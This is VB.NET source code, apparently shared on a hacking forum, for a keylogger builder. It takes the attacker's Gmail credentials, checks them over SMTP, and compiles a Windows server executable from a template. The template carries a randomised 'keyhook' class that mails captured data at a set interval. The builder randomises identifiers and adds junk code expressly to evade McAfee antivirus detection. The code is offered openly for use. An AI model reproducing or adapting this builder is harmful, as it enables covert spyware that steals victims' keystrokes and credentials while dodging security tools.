'Coded & Commentated by Classical, if you delete this at least give credits!
'Seriously, this took me a good 3 hours to write from scratch, don't be a dick.
'No one thinks less of you if you just write 'Thanks to: Classical'
'So before you delete this entire header, please for the love of God at LEAST say thank you on my Thread.
'Seriously lul.
Imports System.IO, System.CodeDom.Compiler, System.Net.Mail
Public Class Form1
    Dim Username, Password, Interval, Mutex, CreationPath, MainClassName, Source As String '[1] Declares some global variables we'll use later.
    Dim EmailMessage As New MailMessage() 'See above 1.
    Dim MailSendingClient As New SmtpClient() 'See above 1.
    Dim GlobalRand As New Random 'See above 1.
    Dim Q As Integer 'See above 1.
    Public Function RandomVariable(ByVal minamount As Integer, ByVal maxamount As Integer) As String
        Dim Rand As New Random 'Declares a new Random variable to generate the length of the string.
        Dim TheVariable As String = Nothing 'Declares a new String that will hold the random variable.
        Dim CharactersToUse As String = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPLKHJJGFDSAZXCVBNM" 'Declares a new string, and stores all the possible characters that may be a part of the randomly generated variable.
        For x As Integer = 1 To Rand.Next(minamount + 1, maxamount) 'Repeats the following function until the random number of variables is met.
            Dim PickAChar As Integer = Int((CharactersToUse.Length - 2) * Rnd()) + 1 'Selects a random index position in PickAChar (random char in the listing)
            TheVariable += (CharactersToUse(PickAChar)) 'Takes whatever is already in TheVariable, then adds on the next random variable by reading what the random picked position was.
        Next 'After it's done looping through the #
        Return TheVariable 'Returns the randomized variable.
    End Function
    Function IsEverythingFilledOut()
        If TextBox1.Text = Nothing Or ComboBox1.Text = Nothing Or TextBox2.Text = Nothing Or TextBox3.Text = Nothing Or NumericUpDown1.Value <= 0 Then Return False 'Tells the program that some parts of the builder are not correctly filled out.
        Return True 'If everything is filled out, it'll just return true.
    End Function
    Sub SetVariablesFromControls()
        Username = TextBox1.Text & ComboBox1.Text 'Setting Variables.
        Password = TextBox2.Text 'Setting Variables.
        Mutex = TextBox3.Text 'Setting Variables.
        Interval = NumericUpDown1.Value * 60000 '1 minute = 60 seconds = 60,000 ms
    End Sub
    Sub GetSaveLocation()
        Dim FileSave As New SaveFileDialog 'Declares a save file dialog so the user can specify where to save the compiled file.
        With FileSave
            .InitialDirectory = Application.StartupPath 'Sets initial directory to the startup path of the application.
            .FileName = "*.exe" 'Filters so you can only save as a .exe, this can be modded to save as w/e file type you want.
            .DefaultExt = ".exe|*.exe" 'Sets default extension as .exe
            .Filter = "Executable Files .exe|*.exe" 'Filter.
        End With

        If FileSave.ShowDialog = Windows.Forms.DialogResult.OK Then
            CreationPath = FileSave.FileName 'Sets the path that the user selected to save their server to to the 'CreationPath' string.
            CompileServerLikeABoss(CreationPath) 'Does. The. Work. Rawr. Also sets the save location to the location selected in the SaveFileDialog.
        Else : Exit Sub 'If the user hits cancel/'X', we exit the sub.
        End If
    End Sub
    Sub TestSMTPInformation() Handles FakeMultiThreader.DoWork 'Sets this subroutine as what is called when FakeMultiThreader.RunWorkerASync is used.
        Try
            With EmailMessage
                .From = New MailAddress(Username) 'Sets the 'From' email as the one entered on your builder.
                .To.Add(Username) 'Sets the 'To' email as the same as the 'From' address.
                .Subject = "Your SMTP information is valid!" 'Sets subject of the e-mail.
                .Body = "Classical Approves." 'Sets body of the e-mail.
            End With

            With MailSendingClient
                .Host = "smtp.gmail.com" 'Sets the SMTP server to 'smtp.gmail.com' which is @gmail.com's SMTP server. You can Google smtp servers for any other @domains.
                .Port = 587 'Sets the mail sending port, don't change this; 587 is the most common outgoing smtp port. (Port 25 is 2nd most common, but becoming less and less).
                .EnableSsl = True 'Uses Secure Socket Layers to encrypt the operation.
                .Credentials = New System.Net.NetworkCredential(Username, Password) 'Sets the credentials of the 'From' by using the information in our builder, since the program needs to log in to the mail client in order to send the email.
                .Send(EmailMessage) 'Sends the nicely wrapped e-mail.
            End With

            MsgBox("Your SMTP information is valid, a confirmation E-mail has been send!", 0 + 64, "Notice") 'Makes us feel good.
        Catch Fail As Exception
            MsgBox("Your information is NOT valid; bellow is a copy of the error that occured." & vbNewLine & vbNewLine & Fail.ToString, 0 + 16, "Error") 'Tells us there was a problem, then gives the un-edited error that was encountered.
            Exit Sub
        End Try
    End Sub
    Sub CompileServerLikeABoss(ByVal SaveLocation As String)
        Q = 1
        MainClassName = RandomVariable(5, 20) 'Sets the MainClassName to a random variable between 5 and 20 chars in length.
        Source = My.Resources.TheSourceCode 'Sets the Source string to the un-edited version of the source code so we can replace our 'holders' with random strings.
        Source = Source.Replace("&1&", MainClassName) 'Replaces the placeholder '&1&' with the string we randomized above.

        Dim Version = New Collections.Generic.Dictionary(Of String, String) : Version.Add("CompilerVersion", "v2.0") 'Sets a setting to compile the server w/ .net 2.0 dependency.
        Dim Compiler As VBCodeProvider = New VBCodeProvider(Version) 'Declaring our compiler, and telling it to compile with 'Version' setting. (.net 2.0 dependency)

        Dim Settings As New CompilerParameters() 'To store the settings of our compiler in.
        With Settings 'Setting some Settings for the compiler.
            .GenerateExecutable = True 'We don't want to generate shit in our memory.
            .OutputAssembly = SaveLocation 'Sets the location of the output to the place you selected in your SaveFileDialog.
            .CompilerOptions = "/target:winexe" 'Tells the compiler to compile the code as a winexe file.
            .ReferencedAssemblies.Add("System.dll") 'Imports the System.dll library to the application on compile.
            .ReferencedAssemblies.Add("System.Windows.Forms.dll") 'Imports the System.Windows.Forms.dll library to the application on compile. (allows for controls to be declared in the codedom, such as timers)
            .MainClass = MainClassName 'Sets the mainclass of the compiled server to the string we randomized above. (Needs to remain the same).
        End With

        Do While Q <= 40 'We take the integer Q, then use it to loop through all of our place holders that have [] around them.
            Source = Source.Replace("[" & Q & "]", RandomVariable(5, 30)) 'Replace each variable with a randomly generated string value from 5-30 characters.
            Q += 1 'Adds 1 on to Q so that next time it loops it does the next [] holder in the sequence.
        Loop

        Q = 1 'Reset for next sequence.

        Do While Q <= 28 'Same as above, only with &&.
            Source = Source.Replace("&" & Q & "&", RandomVariable(5, 30)) 'Same as above, only with &&. This is the randomized keyhook class.
            Q += 1 'Same as above, only with &&.
        Loop

        Q = 1 'Reset for next sequence.

        Do While Q <= 46 'Same as above, only with ^^.
            Source = Source.Replace("^" & Q & "^", RandomVariable(5, 30)) 'Same as above, only with ^^. This is actually randomized junk module to bypass McAfee.
            Q += 1 'Same as above, only with ^^.
        Loop

        Source = Source.Replace("*email*", Username) 'Replacing the specific holder for our email with the email we're using.
        Source = Source.Replace("*pass*", Password) 'Same as above w/ password.
        Source = Source.Replace("*mutex*", Mutex) 'Same as above w/ mutex.
        Source = Source.Replace("*interval*", Interval) 'Same as above w/ sending interval.

        Dim AssemblyInfo As String() = {"#res1#", "#res2#", "#res3#", "#res4#", "#res1a#", "#res2a#", "#res3a#", "#res4a#"} 'Declare a string array for randomizing our assembly file version/product version, since we only want numbers in them.
        For length As Integer = 0 To AssemblyInfo.Length - 1 'While the length of the array is in the bounds of the index, do the following:
            Source = Source.Replace(AssemblyInfo(length), GlobalRand.Next(0, 999)) 'Replace the given spot in the array I.E. If we're on spot 1, that'd be #res1#, with a randomly generated number from 0-999.
        Next

        DebugCode(Source) 'Writes a copy of the un-compiled source code (after randomization) of your server to \debug.txt.
        Compiler.CompileAssemblyFromSource(Settings, Source) 'Compiles the code with all the settings stored in the "Settings" string from above.

        MsgBox("Your server has been compiled succesfully!", 0 + 64, "Notice") 'Give yourself a pat on the back, it worked :D!
    End Sub
    Sub DebugCode(ByVal CodeBeingCompile As String)
        Dim Debugger As New StreamWriter(Application.StartupPath & "\debug.txt") 'Declares a new StreamWriter at the location of '\debug.txt'.
        Debugger.Write(CodeBeingCompile) 'Writes the given string to the .txt file, in our case this should be the randomized code.
        Debugger.Flush() 'Dispose of the used stuff.
        Debugger.Close() 'Close da b00k.
    End Sub
    Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
        TextBox3.Text = RandomVariable(5, 20) 'Generates a random variable between 5 and 20 characters in length.
    End Sub
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        TextBox3.Text = RandomVariable(5, 20) 'Fills the mutex box with a random number on form load.
    End Sub
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        If IsEverythingFilledOut() = True Then SetVariablesFromControls() Else MsgBox("Please ensure you've filled out all parts of the builder.", 0 + 16, "Error") : Exit Sub 'Calls SetVariablesFromControls sub routine if everything is filled out, if not it throws and error and exits this sub routine.
        FakeMultiThreader.CancelAsync() 'Cancels any pending operations on the thread.
        Application.DoEvents() 'Makes sure they're canceled.
        FakeMultiThreader.RunWorkerAsync() 'Runs the commands under its handler, FakeMultiThread_DoWork.
        'The reason for using a backgroundworker / multi threading is so that the form/gui doens't lag when you do stuff like compile/SMTP test, since it's all run on a different thread.
    End Sub
    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        If IsEverythingFilledOut() = True Then SetVariablesFromControls() : GetSaveLocation() Else MsgBox("Please ensure you've filled out all parts of the builder.", 0 + 16, "Error") : Exit Sub
        'Calls SetVariablesFromControls function, makes sure all the information is filled out.
        'If it is, it moves on to GetSaveLocation => Leads to the actual server compile.
        'If it's not, it throws an error and exits the sub routine.
    End Sub
End Class